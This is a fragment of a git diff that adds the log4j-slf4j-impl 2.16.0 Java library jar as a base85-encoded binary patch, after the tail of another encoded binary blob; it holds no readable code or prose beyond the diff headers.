zR<$$j(oyMnXX*37S-}iQ^in6G^S<mDt+?#;FwcNs{XOg~^x$5W5EWsJ<k56K+k2II
zdi)dS+cM$NZ&PDN3Y}}L!`zI?zQ%Wl`DJp0t>c|qz9v^Ih_8#Rg*oI}xC<otapCdv
ziBBlURoc`uc<>htghodVlUMRt3dq|eW|(wTdZ_gpo08>#UvXhjduFQZgB!#ebWCGO
zlmi{60OEtyRgROd+y~=OE$?DZX2;6M?l)Rh-QuTxJiQP>9VuF*P;JK|OoCRLJIzGZ
z#rq}w^Qb;r<ok9PSynTrMLl%BRq~>@P8ngIL$4Ck@2K}t+sUy{XnV7L^hCWJa5FNH
z)bj>F448D?2<Ap&FlNOpb*GXjT`S3rCezTgW4aEl(4+*Au(ZEA-RYsH_*Ba93T>DE
zcXHKkQB5Ix<>YIEwJE(uTBCj30qn~*F-%TU#eFuqt)>u?Eum4Bf#oc_h+3FcsAos<
zr-(94Kfi|L(pcewg1Z&7IW`?i926|IR=O=KyTH2K85eKk=E!YAjZO53qwm2KkuwTA
zutF#Rv`>#G*{-%&WMB7wO>L78kJw$W`E5||T+z$oc{1-({(_lL?$WI(dl<yUGYPW~
zu<Z->;)0Cla)YGF)HfC(8WlJ!;&H~E`m%4J8Vx--LPiaVDk}1y1qR9jR%J%2%|>-e
z8v8f&4^>;&9W|O8RIH?0$KB;xYo&IdZt-h6JPmu4f0rYHdPIrj5N)GSyR1OOU&x<Y
zo&o$se&{V1kG(7%+w4JAn52a}{yN(qhqQ(%Sk}O%&#(u>^?u?JRI0@TYc>)I_{?9N
zw`a#TB<7CV-Wj_Y4!Un-2!!TWDP)*G(&zfd@fDS{uU&4pscE4wy@9byv)J(-6<%he
zOfc}9BwKM)5vbKPVY-sBp4Z$!kgT-s&U4Zml=2g}EmMY5BZHu7XRV#j2bt*OhNdb}
zquud&DLdc3Yr4%H%5EDSP|V^vs<?%^Ft2dh2Hn4%T^IU(NjSY<#-;DuCJ0Br&Q0j8
zW!YLEi@$)_UK1Wk6xfX99U!WPe)eUqgd}eXsQTGt_GoYM8-J6@FMO}Hp_INyu3;aP
zbc4QPUVJ{CTAwn<&DcTk5qI>tQDAgK@E<L#S+sOJph1b2JKntLM<ImUrf;Fi5;V=(
z-mF=adphd`Z0+WPU$H7DrMslemstlNLyrA)7C2`K4~gLi9gn5DrdPYE86FNKWok0m
zJIev}#&F{1xOpNo()N6y&#w7O$}V;#<ZM6c@v}GVmaS^h_xGiNY5%cJa3{TqnWv-b
zLy-J|`DnrHOM}_8X$_z7E)H*+x=XgE4kY6b8M`uTEuyfK)!IDGz&ELD0^`$l{7pr{
zS6wMfy)gGn4&CTLXtI}lWX+h|Z|6^5ua>EnYt=}FF}z+4@s9MpJ7;ge4QQs?CI0}a
z;T9yi;Czs5vZh|bne{n27PMN$m0xf1QCKGCy8JPN(mWvaBU!Glf~00SQ6KGd;C^7Z
z;a)PX1^rX63!MQ~7(UVFM@yeorqsUB+|ZR1UC*%gSy_<3pZ>Mn+NyxG!xHly!RA;_
zsDfTDRu1@3=1CfKE6Rnh^*v|c$c&6?4M{hzbuH`w_qtcC-Zx(H(%QvP^_m0eEmz-L
zb#F4ZWgKx>st;k9>6A~8@VrQ~#Ca|jS%2r;x#POr`1%sYdg6SVO!S;bbj_1A_jDVs
zS-QHL`;2A2gnWl1?w38-TW?~)GMLJ?%oP`E5@^6p(5<OWACmGIWehKZUFtZO=xnHd
zx<RJo+%oun7JxiuGQ=m+h$K%lbssm1n;e|Au3?u?y=tB>*il$9D5el9T&2)xc9-yw
zMR=f)ca2M-Xi}ge10~w`h}B&Xg>pv2LMCgO$L>{g$OW?JD04P_)B(p*FQw=2J(hiV
zEp4Cd==DfN@`(J*wm=Crs!cFHrFqjbo(&j+n(wyJ2kt)rttjC6UJ{nLj^};!7?EL-
z^QgKKDjEPC@LMWS_zM5e0RbT{Kew`xh(S*f;2eX$;Z!`4CqP-fwGS^D{6s(&Lljs~
zZaaC0*I9oIgxFR1QG58NIlRXVVd{yZ^AZTo#gl=MkoqC<lY#N~f(Q=AzXYw%3flZ+
zWc)n<f|KztfYe_DoD@j@=>g!6g#<J31Loi5@K43yd{e8p4$jE^;641yb_DU(&->vY
z&I&Wb-TpH?r;Luj7e;V8o(zO$&A$u(_Mii@AI_VE;CTECHRb<+3J(^))mg?zgz+a+
z`&XQgr-~q;FUV?;86ZzAJ%K<>Ib=RF1pVOYfPh}Wt0IU=`pdS)KlcRAlMy0gBfNmj
zDkgUd48KA^&hW``E-=6K?ccm`mLCmS>8}XOPW3`S3h<xQPo+QT%aElJ?m%u?MKr^l
z4hU$A;y-s(BZK~`+x0I{Fg21%C%v!8!U&6yn-CG5rl$h}GNJj00R2PX>3I#vtwD%I
z$mxK9jIaKKhTpX|o`*;7COPX;Hpbt$^zYq9=RuLrDzTm#48KA^+Hf8JJZ<4~7v2JY
zQp7{X{nbgQQ)mcCRRAee{~t;}__-%!ZHU++*QC#So?i05J;j;D;CXoDswczgll<u<
z_S?Vn{Mj=1c|_!u>{++7$o`wb$hFh+xXAhYtRwQ2{~PW(M_|DJyiiam;4gG|62}4}
GzWonCKXBXt

diff --git a/lib/java/log4j-slf4j-impl-2.16.0.jar b/lib/java/log4j-slf4j-impl-2.16.0.jar
new file mode 100644
index 0000000000000000000000000000000000000000..7d59809584826445c62f8cc6fb552985a6618c99
GIT binary patch
literal 24258
zcmbrlW00=Rk~Z45ZQHhO+qP}n?$umv+qQePz1p_zv);Y;nR)k|GZXX0cSlq__m6xk
zvZ^vGGp{Re1!-UqC;$iu2!N=r7-iF^cJMhM0Dw?%000yK003E06+v1_IWc-!K{-h=
zQDqf6S+P`AZTkWN6hHD^ei@(DCP_g7TB-fu0<z}cEW?{N4e(i%IHxv=h8g+4{d>cs
zm%TU1>5hH2v(MR;u^Krc%0B~C81T4<7GYIS%^eW}*$nxHfN<`pOo_6+eA{)-Sn|K9
zPk3O@6)n*p$Gf?G9>Ow<u{(6eVFRD*J$6qXCD6x$5?HzR49E5u{Mo)wh%(u~Eo>4+
zIFm$`&iy$|1Wl(=z<-B8aUKF@F+(s6tc#TzvfFeTx7w<<i(}9bq^TGI{gA-9QR#%2
z`&mk*2gKL#N@_A<60-XUrOq_28^MmrI$AWd2VhvC^x+c*Q5HZMYY9;<T!KMx`{Ntz
zlx!dHxtCvFPOS<ey;RA&;0wDU8}9C^`$D4iX>xvQJ!{1E@@PR_bxaQyod5(WH~eyi
zR}k;XAA!c1431#T87@^4P1gnHF658{rDe|++T!dfR&^ID3y#{;qIb{_0fA@Y?u$z|
z_dp)YcK6P3{S5_@yGSwB{3WX%g#|s>#}F}@BTXkn2D~k6KYI_w#aey4row-d(YJK#
z=FLjh^z8CH+q~_q;ncJO(+*h)kDi1~b?ML|u@aJF#ZC<)(Y$u3z5Gctpo_mlah-a_
z&0$#o;5Evq5xp2lr^5)FmC6z>?IS2w_nH`j-&FJ)mr3}T_{Y`)uP3FW$lZhqVtQ$t
zdAE#{3ek~unZO!Z^1YUuNa_>PZ`C}dCO4pm7aclFD3c+^<N@2{#U`ao`Q_MCr4r2J
zL}4dK+Y?$9+err7LSxroZjH`D%Jgv81ZzJtC($8=7h*~XC2V;-#_ThnTE_P^&j!=R
zWdo%kqB`@qT&1=N$qpG0C?}wX$LwPSu)*y?<=Fk$WzOsRj=`<O8&_aAdrt4RmT7%e
zdn}h?L$L#R9yfP=0bo|`TExvN?b{3GdROo;)fQ};!&(OeFWstoY-7Ai*4eUvRTWeH
z6{Nu-{%-gR|8NNa2!MaM#2+vCj|cM4+kd#ke~Lx^@tpsV`SSwuXV^QL)BpDpQ2&x}
zwlQO|`XA)r|4q))*1_g~5QhGju%UyYv4!dXAc*|$f;RT%=9YH<le(Dy|9|+e+W&Qf
z{E_^R=P&L5W4mk(-AwKNrqq8GruhE~|Jg&je=dgZUpoHv`)?ceUuWU`KbYkobJ6}|
z5ww5X+Q06?zfQCRN?+<35CEV87yy9$&$NG?=s#Ed4`F2&Ll;Y9SwkmlQzs!yI}=kU
zI%69{XXn@?S^EV6gs^Sd55!J7$oyF(Axnr*5{Vzeb}GCIiYnuh@a0sF8*R~@{q@A_
zqI>$yKB@&s`~mo(7@c&n3&1*Nyp8X_x@uW_{k~ry^WtkDfzP?{GAIl;1L9&?nq+vy
zv`3MXkvg^(Z&Ug)E@8L1?BSlmVQk4`c(|XopUGRYr+vIrZbUkO@q7{HtTAySPf!Q%
zSSH=uvqI*`!$xqL*?;sFj{Z)AF=?1mxN?EVOv$;CU{JxujMyD_p(z07dn#9Q7fOE*
z=Si~6MNd7@7=cM6PfCR0(I+wNt6Mw$N}t9u3@%tS1MDVrvrSyR^~8x!iZBcvgZv(|
z{RxgY6)gdem`b}c1DjcRL*g`CBa>RYrSd>DOsk@3?2#L_!+eDYy$;VCpLv*>J$o(>
zg+)WNpB750!Ii6dlGi``R_fp2PwVc_gJ`GJx0lfbZCq1##+ue{K6_dV^Qw|3>TMj5
zJ+HMX4?5Sfr0nWap+atrVz1m1%j65#yv3<;4OHxYOyM8wB-V_?IOYWapEoPFl}~?u
z$E(&*19r8iw^f<32{2(^R_f9av(jJ{zelxvm(G@Bse0)f>h$Kmc&O}c7n2!pXi}Is
zNbjssncgF;UG(nUl(vAH<Zs%Rvj&((mzTUUfnH_~t;J5k*4P674e-|`@^_2*r|<v2
zw$#+L7iRm%9rS1b01*CeqB4@gqH@Zjn_Ak=>m#Us&$X*gCCZjyB{?jX*vFCe2VvF1
zmLlzTWXa*Abp)+obz^h{QJ;^z>D_@vChl))vL&pN7i*2jcRAPD!_c?wy`uD!IY`&8
z<y@tDJog9uDXza=_Re3=g+6563Y)-hAJ12|dD<=5VLr3eYoFdfb>`WejazH6wkEp0
z0->*Kul=;5htH(Cx;1rauhZEpn?2l}$@!{kp&i|Qz1^K3cWM1}XO-0_A3rzm!r@<F
zAz!TMYE-JZc>|p6z6PwB@5wVETa#spwMe-c`y|0lwaHD?Bj;UEYmu7kja(`a)E<{r
zj3f2Y^-%b<E!j1?F>k#IbIKf~RU@Yat5nB@dVpS+W7czC<bGiBS$IsR7*}@eYS0_Y
zqfpEG*Lihfhpf3zKq)|?o$V4Fa9qSJeV2T8Wjj-c<=}wWbTlKOxoLZitrIE>*qRd8
zNIpa&8Ha<DT&5<FN<wM{VD4zrkMsfS30C9S!-C;fSwaz3L*Zj7b@VOlv>L1TH_SIx
zpLUUa=dGR_jyib^wtJY<oX*9!up=;zSIq79i!;-kiitb!3F+S{HLAA&JZs({QRQ=g
zxf6mBOF_zw9(SR9Mba3EQggSfp73m}#2!vlt3`au&E59DH`S7?wVOU+6+#y2Sj>iO
z?7MY{OE%Z^XLdJ`M)kZrJzmpWaswY34uT8r?|{{Dy#Z{Pq(UPJ9*DUbgeV15lg~5r
zCQtga?aS!&X?>*U=pN~Xf6tP^cVH=|p?dmw0G=T>Ey1Azc57eafbtAuk^{CMk}NLQ
zX+u&%oG#&sYuT$-SA`xvSj(b)hiEsI%sa41YNFy)bv9s*qa=hBFb7+>R64rf6f!^7
zjovsl5pom*oriA_3+ln}D};R1KDsqMaJLmJV)|^@e1YaWRCHXxec-kk+feXZS!=!2
zZ;Zn=!9fBk&T;xEg#{GYV|~}7Db;yO=rHo;r8~OFNMz|53t=iv<2yqq0+<KXl7mmr
zLCd}Mom?uw9otn>(GEMD+#CC|JS{*{T<l8E|8RgHrY#P*8elX6syqFt*U|(`;E~uI
zlSRJcA1nr%LjkT!;Y%?Y3JtI`0Q2A&z}AMsTQ*VSgwfC*6B5*>-vffn!!unUoUTL2
z!yU**-%F0}QLnovCQ&wiN*{+(pEv`r+Y3grKw#&N1K8N_g8ew{CTS5=@FB+Ksx4Hh
za)6KVi@+P9+KAc+ZLixtbxIEe<ggCF0?4pj3MNxGLJ79?$%Oz#V`K9HLfo42Wb-uC
zI7|taAUu~|{l$`kQYT~Y3f`Ih_JI-)EVq>WKtELf+V#kg*?le1Rg0z8tTg(e(%pnY
zX@SlqR#{~QmjJ#=&a?qm0J>k4T-^a9w*ny2l17ReNmQ9QS4J+C@0wDcys}M{@{Z-d
zyg$l`pv<;Tk2OoKQ&y}9kHU5fIqYzlA(3FR%GLzs=P&h2Bpn5)xZSrb8(_<B2f)qa
z0kS1HCz_e;#fNG^JaCJwh1ex?c(rDgh>R*?`WtWGx3KRA>yJIlyF1e*y<dA7W_oBV
z?+}x9608XU%K#YYC!w)66md^zE3P7ZBh%XY251Lj>f;I)rTxVwgzueuYf32f)Z4&c
z(p-Q<XJF{;0+fPUY7IoFPT=fi%ZCVXtnMlrLQ)lpUyyG6YJ6tYiPnc=^h_8TB7$bN
zP1p__PA)2kmZNDm^9y6~As*!{<)a26r<%e%1ByDelXEd}Nv)|*$U;A5FDMk~4j)>G
zFTxc>@DmMZ#E62HY(SsVh-Q{vFIYn3UtD?I#`<QIayJ4Z;xFe)jKC*sP==5d#6%_F
zq>kT<NL<cZ5%)^_ZKZ*qj+|mc*roZw3Tlt{Y9%Ti)?0610yQHa$A*_i&(_Syq#JQk
zQB@=pF(n8>0;Y%dBG3UiLzICA&zAtwAa}uMS5&-Xbqbj`rSH0ek@rW_`@AmDu*sbh
zrW`ypwLyQfAasH&6D9mqao+yk4a;8-LQOE{9l3>^C*`;vg{=am7Rq~y4H1an4w%-l
z!u8#c6y0h)WZ^erOgv1+ok?*XKy#bLX9nMt0@?fqzSikuT7v&!FzW;pNE8?phg~2&
zcdyBO4X6ul$o-lZaR?e(7SHAy%L5-3U<Kg!>JO+GgS*Oz2+pJURFz;rmJK7@#|PCp
z(PLk?$%4y~Qx&s%s7j4p-oN!><Hk`(1UX)f?bsN6;VP#kyQZlv@N;&K0@q4E_XYh5
z>9@fGr9L9yS3shOn*3xOdI+#%_<1F5*$jz&MfSE)d<{gi9bFph8~>9KTmqCa7nkX*
zwwj<F>6Z+_G4^w`N*z&a%Sd~=2?LLqrPzV|2PO}_DDku1A~0UFqBb3nL4BUj9*B6^
z3r?S+tif=OeRFa)6X!8P9O}m$k}@cx%y3B}28FVPm~Tml81dl`de1;rN7p_S(d$r+
zL^^~Ps2-Sp^lIq&I{7LLsGf{y?o|1(qb65sc*wOlMF<B4a69JyLURqgb`VQq8#bUZ
zMI6Gyz;E_?BKdVQx?On!%|tCiCJCr&HOeO^Tdb4FwjS^cFXXd}(5{2zI0Q@WMf9b8
zKj4ju-3SOR&d1nI!mk`06(wJeE0Ug4Cak9o6YsknGDXXa!aD!s{J3F+peI3h4Dt=$
z4jb=~HjH@+WbJ2KOyT<M(`nO|Mpa-E4MY#;<pE`P04!X5x^)h_A3z0tFw#r)H*>lK
zG-^<u%87}PP;-RES^U`X1k)$ZFy$}lKd=kU69gwz!ysr?FnP!_lbNUC${lVc<)j}M
zEtW`w)E;{6KW3L2m!>}NE+1i%t{n-yjeo!LCODbDAFQPc_GQR$*3-OFBcp1`L-M7d
zKK`IQS=4MKqL9qKH#6cXLu9%UJb@TaUu8vh-Wo8!l<Eg#!Xm|OQGQL?qL*BQ8iHW+
zMP5u195p#N$(K}VH+OyE1HYF{IP~Pj6@b(w&+boZmqoo%>8T$sPc_}~T1%OH1~acx
z!8e6Mgg60M(<GQxqrXiEKgohScAjM*u2(?HoPEc2H;m9PHJkpBJqXl3<v0k&BVw%`
zQz$um*&rI?k}<olw;8J#@YlX@zl-=)1hUi}+Czd2)zSkjeqdhU2Q`YVTHIk}18kck
zA_IVS^&P|=&ln4X6NX_B);KP*Ky{Mw1AO(C<7<^cep5S}Rq>1}qGi4=7qV||huRqw
z>h^d{btExcY?;fj-5kRQ>oTXE$%t`HH?e%iLb<4^yj+uqXD;esq5X#x34H5xiKk>>
z@_L0NYFrhz`M5|iV;q@r#%ei^D-d$HkMvYrFXWCMYrOzFIzCrfL0onTo?)Sq@w+rq
zBXknSHV01Qn9YyW*!o-?UDA?xZajFWA7{3Ar}zE~nVy-VR%U>ML_a#zcApYgYJUYp
z?_I(!rN{1;z$~~)U*e`ADow>Iz-3pU=z|zynb6&0Gj{F(Qfe@^h-jajQry7v36~Ko
z$5;F!$PHk}8mg#n@~L&%@P6qG;0Htj1KLACW5(0P6q*jCbax{T342DjlF=Vv4YP5y
zL&JoX>rV0Q%jo%r;CjV43KyOQixn;^Vq2=%7Q3{Mugl}UflPC8qD1jq*n4EL0#*at
zQXBy6rZ!p#O#YqxYBN@{!>$iIodVFZ`15#AirXsZX1)atKhQr&7mg9Kpdt&Hy>8Ld
zI6BoJpi5#(Ix`4$+>q~CSLqSRbvVD@F*=h!c7HO`nclGmG=X2cYS@VvnV)8P(v{(A
z^zbvD9sg>0ba->q$hEgiFFLF9L+k4(N2AIQ&0oK!Cg94V2heZmv`m_OE`(Z@jZ79(
z#90Z`;S4~QE+Yzy$Q!EO;Me=%=leNORgYJ@PIsqv&6n5b!sA&F0>AEd_a|bL&PSb3
zZ`XH*(8=bVpKJHg3OJhH$mJd!&eQJap4^6CTW7bXzH{^8`T&?cn!q<6+mg$<06X&r
zs@xzbkGZTp>%23U1MFOAyut_R(9}^ekF5(F2O=JOU$a}t#dHc+%Q(#0S8i%a{j2D?
zCG%wcb2_IF9NDnwb@Rqa7~M>|h9~IkPdfr$4KSaj**avG5IJt_=8!BJh&)1kOc$$l
z3j_V)4w^k%cSg*^k?|Sx{m-CCpy>zfZbBjP30p@z#B17tG~k}VofEeYA3p{!xe0JM
z)1XN#S?u>nfOfSOC+?ix{j(b>0WZ$JN2u%N#&vTE3W64&)Bun$^9~Qf<4~}WkqqpU
z*nO)>_alvA<LVLZ{e7|YDo(K&%vbD9Pjj=jOnDf(+-_uet=)R;LBLMdlHccKKXLtn
z3T)o=_EHcy`y--Ol-LUotw^%GE|A*ui9C*E5xPM8cBU@-v8llWgB>G4K0OeQO@|CS
zs_<BJla{|8VaEXMLvEac(PuDkHg#yEsvs>w1G?JoiBQjIDEY1uI^-7~Um9-K&RhC~
zCUY2hK#L`h4;pgJYWmi#L_L5M#IYu7RD2?GNAvJL;ZWQwE^n5SSP+aG*#zAU*<ybR
zA=-O})&>7cuhrV&`9a^)I}a#m9DG~2W=uX*ZNh@F#*CajEpFfBBI|~Y#M#=5mQPso
zjTOk!PjM<OL%vx+A|jt$Km+q3gW*l4%gkpy;M|jJduEX(wKQ9E17$F>lrh)dL`$eh
zure1#nImq!V4Lw12bfG)J#LB$UNL&1{q|^QT#RcLkT$^vYy5*RdL)KTOqU~|R$W~~
zeWn{syqDh2emC)ue>)G_QVSr$>!z0ep!RClzG#APi?o0H6P=FY!y0A5QYdc;tYJh5
zn=hnXERpL~tFpui2nvLRJNOICo)T5$=ptR;9P!11X}5Bd5Cl2D;`*&Y&Wnz&M&>#E
zrAHvGQ1IoN4%GF0v4krR9RX6{wh*s}du+nZjXk=34=&(1{+1{u(@PD&0SJu^j=t>0
zlAj!wLT<)sLm-9F_^>6~!VEvku}y2U>|p|GGXYE%hb}wNiKR^pCfBg~$Cl4qy1s%e
z1P|`@e)r)(w>8d85n*`KA)I{`C&s+#9zFQWyXuFKS8%R)YgO<3KA%KIm3d~Ed}1#G
z72QqX%k<&lGX>EDF$9QC&&LbTtjFdnTS^|Im`V``k?W_K@B$Mj=31ygnlQxkOt;e;
zUfa8s?<bN<390_T?9V;CuN-ES<k&^IZHEEr;E%vkjF)eTUf^4@#_H6}GK8RP3)mqT
zoa*&B1P1}gJQ|l#`=?h+$-VQd2c3KLZ@|Aw^}iS7|6Z!EtvN^h`UCsm|ABo-{#)2b
zMELKRPpINwm=8*}tj@Y4tgSEwOGrXXdI)d{DY{4~$gZ#i8E;#~kmJ71W-JbOgRY;t
zG%1y0Bz|AKP?xKk>^LA@=ewEt*01%?$M;cr0N)F)y1A<UA!2A+a8(vu9<lWS<nX?d
zP&i@Q7nYBcUVbhdCYKME=q?_<Q+XcFoMAnM8=<hD+pt>`CNvG|Fh_whCbyaSzb|o_
zF@jxaFqVBXB6inYNE(Rwq9DuPEywnab0t-+XDQ@Nr+35(AWV>k3nY-ka_p|Zd(bS)
z{03*=qH|}8N^cl{qLSYBkWB{){<`O(U<v~pC;Om&Hp&$-Nl*kRSO+((B6kXUpn)C+
zFE3zABjQokLa%htUEE=CQ3d1M-z~q{V~Hxui90A&^lykTFkByoW5fLYottFni+JO}
zf@mm6-x)BWc|^~6pd85iCY;5WX(%mPumD9xMM&sg<|W9je6m1Y2hFA8kggW)mIn;H
zu2GoGO>Wq2qc{k5)*)Eg1sG#rmYpspWuImdzwB*cam4qiQsx_bmQIav%x>rWv_(s<
z%{`}XsC@qOyv(fo4VQZIEWLHHL~Y%}f%(La6S2+<HhH63T7@ocuf@_=qh<3A_%G}D
zyAAxibyNcRRJ;DM4y`{JFY4cc91&3kQ8^J&Iblgr<!;4st3d{Y?sw{=G%zblMoZ|P
zV!}X_QfSET%BNK|2NHFqw5M}wPe{h5lvz>m{kbm8?og#0e;*zx!{Q&a8#lN@L8MV2
zqQ4Y_W%>_vgv$@GjE%FvmcpQA2vnVnvrb0XZNh=1ya`oDK>S-j(_32%!lVUpuF%K4
z_LGJ=g-9Cbu+rviT)<m(NOVkckEdwL5xnH#rIC(#+s0xkg{7X~c|B8qZ$0t?^kQQ3
zPa6^@+Xmw1(aq0gYFzn}=g|$Goi`?hTbB$FwiEWJ>VhKNVuX$$pxvu#3z+|G^0R7J
zW$Y+!Dr3yFYrD+~O7ZlZu<>Ge`rT17LlOag9}c4Jt-kzC7FH}Xl}j0tu@O}y)lsj@
zzOD&c#kPXP4cGw_cOzt$F?H)w<UoOyApCiZl-GO#wm7YFc>__Q12J}!3DZH>RJ-y>
z%2VhhCM*DULwZ|CI_JaGtuN;rO?G6!hscr$HKT;G9(Ya4x#(}{bo`HV`}^tq`?>Yt
zsHUs^A-355oZEj3=F0p5!v71HtL$q(?||Uvr?6#(8<920=}IpXNa<=uM@A=&fhIKH
zS0vHUD{)FieR`tAh1|Pzv`9*K3;dEF^Gu!EZ&vWRU*q0=eAQ0A^0T++8=x*SoruK5
zSOXbRhz$@?zRhz&mM)Ix85Hr{18vYb5vYQ8gn;=MYpVM-YISkfWy+IPPRsnFRV<gV
z*5x_A>)J9nujaju^{n?`f+F@(#r%be)S+5o`!;1IsqDE$HJPwb<x*wE{NAeSlB4(C
z>{s1ddUc_37S>6wX_;KDc}M5+PM=Hpn(cZ#b;mB}6?s@Fq>60LhuH9(t+jzCH_Wb1
z&lEvQ4sbGIxfXDvpVK1iX4+P>tlT=IOJ{W_T6}QP4z89kSh=|u7OhcMF0+Bg<l%R;
zd6dB!%hE9A32Z~gc|=1se0UMjAPwO+k&VxKT`;KV6sIF>qmkp$Jv$~Ur_KP*6=Rh%
z(p$Y9P9~FjawcdtME%;&J%U|2Gtvz~Eg>jLC8xqRQbVwD3_Xd}KBU1r{zn4NniKX8
z--VkJgF$2IT&#ESw6366D~2J7;toHPc?-X87X*Zaosg3vbPn-tWWzhl>0F<Xt1PwB
zGtVeD#1eJ_)iwZX9ik@xz#DZ4^Au=8VYe`<7kHu_)W`J!->4$QFt7V*NS;2US^K$f
zAc&ucoTM`!c#8a;!cT;Fps7rrxv?lc0vx#U*r{sdBO*bJF!A*$0nvazMnr0jpULWk
z0%DClyY8$jj^xR3xy5;K-@=AC3(^rRAGMDovSTgd)$|F$G?Uom*HHbJ&+PxYV*YNB
z|8A;z(M2$!f3B9+KjYsR6ghd7KWMS<uX?y3284j!&)hvR+#(4L2W2F%K`{E+2P<u1
zFIi3-AMe<?rO$VN4szSB;Y3~UQA?cP)Otci2)GZ~xttvI9v2-~vx~B^_v?Pik@iY1
zEgUy!lF~a64DWSD6EazdFmp86Yp5&ur0;dm<kDrJU%d{;qVtmFN>auAReKkUJwO5I
zf34u}dj9(gpuh`%f`R?HBw+ynsQwi~|3ymu;avW~HT{!F`QvabR{x|>{z;yss#&Td
zt7G`tp@AhKCd#%fS40p3TGH-lRS;R(Ku7^VYn>y6nJ_@hkx^};cjkTt`JJ7HzYW9N
z%IlVuwtUV%J>WlNe<k>xl>1(pNC1TiafWj<Kle=D^IbdLzw>YN1I@<E`&tZ|z?L}l
zj~*Uky)e?IV}hdlmJJl)U$z~LQnyv@sDi5d@GO4Z7^=}Z;veNrwn{r?r2m9`O;a&=
znT-JDuOT8$Z-U1(Ib16UvWAig?8vsm(z23bcNSw~#^j?Un1-^!oHlbxORFzwQqg-B
z`fASpkQK;S*;8BAL9&Q8nG(^bW8LnZMaNtERoUTL;ov5cM`dddanV%VBubmR_^z}j
zGB8GRkSqm?OX;&XhOwL=U~V9MdPNC1<KQNTzKX@j<i+wccWDaJmTfraO@eJ&gGFq}
z-h9EBG&Wm6opb^80r501qQp+6HEFHgIkUXjHM$F;t+|~uutY#}$kgHN=LT7%WfDeX
z)60^g?VO+z?u;4D)Y!ptJ*)9Gy~Rp%Pl}ie<0OfMxBfxVPx83296#FHVkc{sQ8V<1
zHdE`4#zyE$*BoI$`(>#!GH9thwtQ_<7KjTt7keUSsHK7;$-Kln)ScI4Ejtd&q9Ykz
zVH&{5vP|!BA*gmlGWiXRm1Eb5A=fY^+XT1RRFc^)BQ|@?@}9az`N4|V5XpIFG*vg<
z4Vd4<sJ9(Vg^0xD;}&|l+|tq1j|=T$PbbM4*jxn!RRLkvMq)&Tnx4r~{ZXsb70mG^
zxzl>3Y4mARS&pA6guW}OhbBLpijClDKs`}c9EFEvY06h4b*bD6lW9_z5afy<LejYG
z$nGphc$}DP=(R2!Q0e!61g)ra#j%69+4NxzZp*Bfc>oGiZ4GHtZHe^;xvSvxby95&
zLZS|O=nvES5X>s<?YCK4Nhir;&WDr8i_*hYaD*;E@g?2xsWHaMOAP#;KU~&=)9kNo
zG+9B*ayFNom!L1v$jCGuf|eqW`IW6w9T{3!N=%GwthnrJA`Hq&tnpkamMajxz;F&T
zl=e7%(qj>$T%q)>o=MLaS7h`U55h+GJ=N4`bujR>8h>tl540|of)-I)*^N3PbJ)Lc
ztd5STmMv%Fi*HO1<qFopzA%z2pkdZx4Lq($TS!V$3ViPLw(ZB}j6GHN{?XM7T5G|s
zH5XX=^2K5=jqaAG_e8dRZt8tkerE&U;n9+=kL=U&Vgs`k4&evA!rOK|fDE%4`i#9U
z)VKWTaJl<CQmaJ*_$fb&dkRz+1hK*XSZqB!k7UObw=fRB8-<SJ9Yzlb1Wc%R;2S}8
z;W_^U;{z^tmZ<_XO>uvKqPII2e<#cB`2*yex2)dO#&I`DWWQyOMfeMCRi0&rITLV%
zd+a9zxQ)mR3JwY)EP@EWpi4r!`Rmbua|>>M4Osin7AOMN@WeP)f^KR8Yuz^GAtmc~
zZXp`+NYk>I)HtFrIPgKQ+;`lW{kY?>S^6?(p7}Lfj}6jrRTaQe&2dHHIYr<>To)YA
z-QR9iKOzCwmjH2GbbR|uLAJ1Ad__C18Psau<xb3B_*?bIx^g1$zWDppycd*#5D#kE
zcVKct@^?tp^g*-{Out4U&UnrpvH^@kST)m9w}@u-a0U!J_0Gq2$Ht@Z@rJcO*|AWQ
zP67B$fR7E1sRE_(NCEXCug;AE(KIqza>_vgM>7)KV+%K~Dc+0jn9e|!wc2#d`qi5p
zaLB2&SII7vC|VI}EetWpaiM`z(#*d)a0RnA-l(l*NhW1pqRGU*z$08l5xSPLAHK(Z
zD15}A(Xc>>;O97Sy<G5R3-c|m3kBo7XV(vG?|dR_w#cr(232_*<h3hpmM_F~#h5$q
z($qKnKE!93TF}QHRw;f*05hC&k7m|I5Xd9ZzV#XsLo3lmTwaXHX)~P}JS3JdS5bbY
z82e_Mnzn0bhDtzj7s^#P^*{bFu8ArxAgC~isWfQwpZns>ioIXNq<4FaS<t?`s7_O2
z=NFh{(xQG|#Wv+#)}z^cYA`d4Z^qMRzBFpNkM#dXf%f+p@}JQ~`42C@cgL3y`==A*
zCoKSgz@O;yUpfr_+opj(p@+rl?{vR|y)B)Gt<B|M+$$TJ-%71OlWgnMkD`6E#?JCz
zF=vxiN~6;nPU|wIjlhWrpjjju08K@Y2ff$*p-2>p4LIw!({gtR8GY?PgW*@E*Dccu
ztOr0%U;W;Td)LKC;x%OMO?rJ9Ii9}e{IFZNW_W5t<t#*;1dT{AlZ=BpK;w2wXT+R>
zI0Z+mei_pUBE8kD^MB#>lkY|xf-uH0jYvX^(xhj@Nkh_>Cx$x=K#oh${lS`kBG7(3
z*vxWs2oYx@p(q>v5O@xmaD=8P6F?rRorM6|<tUM&l|!7$CuA0LNHVD50jwU5SumkN
z%sSY)_<`mJ4Vwc0xjzACSY#Euvn#Hq1&*U{3*k0PPiA5<vu&GyjUu}K)ZF`xI2FJ?
z$eh9)DJ6*0Z-SL56qI40tX70_jF|Dxk`C|qVj)_WKO_*_3?C7z!xUm#8T!y$pE8_9
z@I!`-Z@J_xhFtJa(*dZS=Mvv@Vgs#XOqmE|=y)c{DdN;2%mHvj!~=q?#G~M@xUs+)
z_KX|{D4U#HV%4P8N>X#EyaDFJ6_P-SL;TVX|MAWCLAiDN{JLqjw!6P~nhxw_<?7Y*
z*=3gdtgzA9#lg*M75iaYZucC+Ri3}#r*~;McZ5KS0CWbLjwU>r5~?7QFjZwm`C?^-
z!gc`xBJLbS_CzugIS46C1+TiOB0{cWegj2cTN|irf?~O}c$L>dD-S%FQ2!cfBuS8A
za`a~ltan(g<Q3T0;M)66YHwv&a)}Q!s*7B863eUL!sX>v4~(C;|2+5zj5iCqk}8M;
z<eS*Z2r`;wR*OQ|vZ9Qr4HmEL@t`|*$i%4$4Ow~hp~ACkkX9BE6~T5pjBBwg()2_D
zdN@JLd_n_BU_iyTdU{S?0mH)&X|9395U};@CJZEK{@vW~yJn^xuY7DTPRagn>pQ?n
